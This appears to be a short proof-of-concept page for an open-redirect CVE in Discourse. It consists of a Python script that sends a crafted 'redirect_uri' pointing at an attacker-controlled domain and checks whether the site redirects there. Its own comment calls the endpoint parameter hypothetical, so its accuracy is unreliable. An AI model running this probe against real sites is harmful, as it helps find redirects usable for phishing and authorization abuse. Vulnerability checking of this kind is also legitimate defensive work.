CVE-2026-33427 Discourse开放重定向漏洞

import requests # Proof of Concept for CVE-2026-33427 # Description: Demonstrates the open redirect vulnerability in Discourse. # The attacker can manipulate the authorization page to display a controlled domain. target_domain = "https://example-discourse.com" evil_domain = "https://attacker-controlled-site.com" # Hypothetical vulnerable endpoint parameter (actual param name depends on specific implementation) payload_url = f"{target_domain}/auth/authorize?redirect_uri={evil_domain}" print(f"Checking target: {target_domain}") try: # Sending request to check if the target reflects the evil domain response = requests.get(payload_url, allow_redirects=False) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location') if evil_domain in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") else: print("[-] Redirect occurred, but not to the attacker-controlled domain.") elif evil_domain in response.text: print(f"[+] Vulnerability Confirmed! Attacker domain found in response body (potential UI injection).") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}")